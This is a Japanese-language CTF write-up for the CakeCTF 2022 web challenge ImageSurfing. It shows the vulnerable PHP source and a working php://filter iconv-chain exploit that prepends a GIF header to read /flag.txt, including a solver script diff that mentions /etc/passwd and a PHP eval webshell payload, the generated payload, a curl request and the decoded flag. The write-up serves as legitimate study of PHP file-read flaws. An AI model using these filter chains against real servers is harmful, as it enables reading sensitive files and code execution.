CakeCTF 2022 Writeup (Web - ImageSurfing のみ）

2022/09/03 14:00 〜 2022/09/04 14:00 (JST) の日程で開催された [CakeCTF](https://2022.cakectf.com) に参加しました。13問解いて14位でした。

ちょっと忙しくて全問書いている時間がないので、ImageSurfing だけ書こうと思います。

![tasks.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1993152/77a3a17c-8179-1121-12a8-3d511e436832.png)
![graph.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1993152/a5726b2e-2540-4eae-8bb8-733fa302f72f.png)

# Writeup
## Web - [427pts] ImageSurfing (3 Solves)

> [bodega cat](http://web1.2022.cakectf.com:8001/)
>
> attachment: [imagesurfing_02988f6765613ed488341854d867eb10.tar.gz](https://sgp1.digitaloceanspaces.com/cakectf2022/e0dfbe85-4923-4cfd-b8b7-215c12e95958/imagesurfing_02988f6765613ed488341854d867eb10.tar.gz)

添付ファイルを展開すると、Dockerfile、flag.txt、index.php の3つが出てきた。index.php はこんな感じ。

```php:index.php
<?php
const IMAGE_MIME = ['image/jpeg', 'image/png', 'image/gif'];

function get_image($url) {
    /* Open URL */
    $data = @file_get_contents($url);
    if ($data == false)
        return array("Cannot fetch file", false);

    /* Check file size */
    if (strlen($data) > 1024*1024*16)
        return array("File size is too large", false);

    /* Get mime type */
    $tmp = tmpfile();
    fwrite($tmp, $data);
    fflush($tmp);
    $mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
    fclose($tmp);

    /* Check */
    if (in_array($mime, IMAGE_MIME)) {
        return array($mime, $data);
    } else {
        return array("Invalid image file", false);
    }
}

if (!empty($_GET['url'])) {
    list($mime, $img) = get_image($_GET['url']);
    if ($img === false) {
        $err = $mime;
    }
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>ImageSurfing</title>
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/purecss@2.1.0/build/pure-min.css" integrity="sha384-yHIFVG6ClnONEA5yB5DJXfW2/KC173DIQrYoZMEtBvGzmf0PKiGyNEqe9N6BNDBH" crossorigin="anonymous">
    </head>
    <body style="text-align: center;">
        <h1>Image Viewer</h1>
        <form class="pure-form" action="/" method="GET">
            <input type="text" placeholder="URL" name="url" style="width: 50%"
                   value="<?= empty($_GET['url'])
                            ? "https://c.tenor.com/NFjEeHbk-zwAAAAC/cat.gif"
                            : htmlspecialchars($_GET['url']) ?>">
            <input class="pure-button pure-button-primary"
                   type="submit" value="View!">
        </form>
        <br>
        <?php if (isset($err)) { ?>
            <p>Error: <?= htmlspecialchars($err) ?></p>
        <?php } ?>
        <?php if (!empty($img)) { ?>
            <img alt="<?php htmlspecialchars($_GET['url']) ?>"
                 style="max-width: 30%;"
                 src="data:<?= $mime ?>;base64,<?= base64_encode($img) ?>">
        <?php } ?>
    </body>
</html>
```

たったこれだけ。簡単な流れはこんな感じ。

1. `url` パラメータに指定された値を引数に `file_get_contents` を呼ぶ
2. 取得した値のマジックナンバーを読み取って MIME-Type を求め、`IMAGE_MIME` に含まれていなければ Invalid
3. IMAGE_MIME と一致するならBase64エンコードして表示

フラグはDockerfileに書いてあり、`/flag.txt` にあるらしい。

まず怪しい点としてはここ。

```php
function get_image($url) {
    /* Open URL */
    $data = @file_get_contents($url);
    if ($data == false)
        return array("Cannot fetch file", false);
    
    :
```

`file_get_contents` は直接呼び出すと危険で、`http` だけでなく色々なスキームをサポートしているため色々できてしまう。特に `php://` のスキームでは色々なことができる。  
ここらへんが参考になった。

https://www.ryotosaito.com/blog/?p=112

この中でも `php://filter` という部分に着目すると、様々なフィルタを適用することができるとわかる。フラグを読んだ後、何らかのフィルタ処理を施して、なんとかして出力できれば良いのでは？と想像できる。

このフィルタを使ってなにかできないかとググっていたら、こんなものを見つけた。(php filter base64 ctf とかで調べてたらしい)

https://gist.github.com/Ridter/548af465ebc80806254b5a9dddab4a70

ざっくりいうと、フィルタをあれこれすることで任意の文字を追加できるというもの。`convert.iconv.UTF8.CSISO2022KR` というフィルタを追加すると `\x1b$)C` が先頭に追加され、それを `convert.base64-decode` することで余計なバイト列を無視できる。とかそんな感じ。(ちゃんと理解してない)

手元で試してみると、確かに追加できている。

```shell
$ cat flag.txt
FakeCTF{neko!}

$ php -a
Interactive mode enabled

php > echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2/resource=flag.txt");
8FakeCTF{neko!}
```

となれば、任意の文字列を先頭に付加して、`IMAGE_MIME` のタイプに合うようにできれば良いのではなかろうか。

許可されている MIME-Type のマジックナンバーを調べてみると以下の通り。

| Type         | Magic number       |
| ------------ | ------------------ |
| `image/jpeg` | `\xff\xd8\xdd\xe0` |
| `image/png`  | `\x89PNG`          |
| `image/gif`  | `GIF89`            |

https://qiita.com/forestsource/items/15933888466ba9c3f048

この中で、`image/gif` のマジックナンバーは Base64 として使用できる文字のみで構成されていることがわかる。

試しに `GIT89` をフラグの先頭に追加して実行するとどうなるか、手元のPHPを実行してやってみた。

```shell
$ php -a
Interactive mode enabled

php > $data = "GIF89CakeCTF{neko!}";
php >
php > $tmp = tmpfile();
php > fwrite($tmp, $data);
php > fflush($tmp);
php > $mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
php > fclose($tmp);
php >
php > echo $mime;
image/gif
```

こうすることで `image/gif` と判定された。(ちなみに `GIF8` でも大丈夫だった)

あとは `php://filter` の変換を駆使して `GIF89` を作れれば良いのだが、このとき大会終了まで残り1時間。流石に私の力ではどうしようもなさそうだった。

そこで `convert.iconv.UTF8.CSISO2022KR` が肝と判断してググってみると、以下のリポジトリを見つけた。(たぶんここがハイライト。このリポジトリ見つけたのデカい)

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

先程の記事を参考にファジングしたものを公開してくれていた。さらにはご丁寧にPythonスクリプトまである(ﾖｯｼｬ)

このテストスクリプトをいじってうまく刺さる形にできればOK。フラグにはBase64で使用できない文字が含まれているので、まず最初にBase64エンコードしておくことでエラーを回避した。(不要だったかもしれない)

```diff:solver.py
-file_to_use = "/etc/passwd"
+file_to_use = "/flag.txt"
 
 #<?php eval($_GET[1]);?>a
-base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h"
+base64_payload = "GIF89"
 
 # generate some garbage base64
-filters = "convert.iconv.UTF8.CSISO2022KR|"
+filters = "convert.base64-encode|"
+filters += "convert.iconv.UTF8.CSISO2022KR|"
 filters += "convert.base64-encode|"
 # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
 filters += "convert.iconv.UTF8.UTF7|"
 
 
 for c in base64_payload[::-1]:
-        filters += open('./res/'+c).read() + "|"
+        filters += open('./PHP_INCLUDE_TO_SHELL_CHAR_DICT/res/'+c).read() + "|"
         # decode and reencode to get rid of everything that isn't valid base64
         filters += "convert.base64-decode|"
         filters += "convert.base64-encode|"
         # get rid of equal signs
         filters += "convert.iconv.UTF8.UTF7|"
 
-filters += "convert.base64-decode"
 
 final_payload = f"php://filter/{filters}/resource={file_to_use}"
```

これを実行すると以下のようなペイロードが得られる。これを投げつけることでフラグが得られるはず。

```shell
$ python3 solver.py
php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag.txt

$ curl -sSG --data-urlencode "url=$(python3 solver.py)" http://web1.2022.cakectf.com:8001/ | grep 'src="data:'
                 src="data:image/gif;base64,R0lGODlHeVFwUTFFeVJuSmFWVTVWVW01MFVWTkdRbVphYWtaelpFUk9lVmg1Um5wWU1rNUpUa1JDTUUxWFRtTkxSalYyV0dscmRtWlJiejA=">
```

できた。あとは慎重に得られたBase64文字列をデコードしていけばフラグが得られる。

```shell
$ echo 'R0lGODlHeVFwUTFFeVJuSmFWVTVWVW01MFVWTkdRbVphYWtaelpFUk9lVmg1Um5wWU1rNUpUa1JDTUUxWFRtTkxSalYyV0dscmRtWlJiejA=' | base64 -d
GIF89GyQpQ1EyRnJaVU5VUm50UVNGQmZaakZzZEROeVh5RnpYMk5JTkRCME1XTmNLRjV2WGlrdmZRbz0

# remove 'GIF89'
$ echo 'GyQpQ1EyRnJaVU5VUm50UVNGQmZaakZzZEROeVh5RnpYMk5JTkRCME1XTmNLRjV2WGlrdmZRbz0' | base64 -d
Q2FrZUNURntQSFBfZjFsdDNyXyFzX2NINDB0MWNcKF5vXikvfQo=base64: 無効な入力

$ echo 'Q2FrZUNURntQSFBfZjFsdDNyXyFzX2NINDB0MWNcKF5vXikvfQo=' | base64 -d
CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}
```
**FLAG:** `CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}`


# 感想

昨年もCakeCTFに参加しましたが、毎度問題の質が高く勉強になることが多くて楽しいです。来年もあれば参加したいです。

ImageSurfing は Solve数少なくて自分には手が届かないと思って問題を見てなかったのですが、終了1時間半前にちらっと覗いたら、PHPファイル一つだけで「えっ？」ってなりました。諦めない心大事。

あとアンケートで「OpenBio 解くの面倒で嫌い」みたいなこと書いたのですが、他の方のWriteup見たら簡単に解けてたので、私の解き方が悪かっただけでした。失礼しました。  
(私がやったときは CSP の connect-src ディレクティブに阻まれて外部ドメインに送れなかったような気がしてました。勘違いだったのかな…)

最後に、開催してくださった運営の皆様、本当にお疲れ様でした。ありがとうございました！(全問書けなくてごめんなさい！)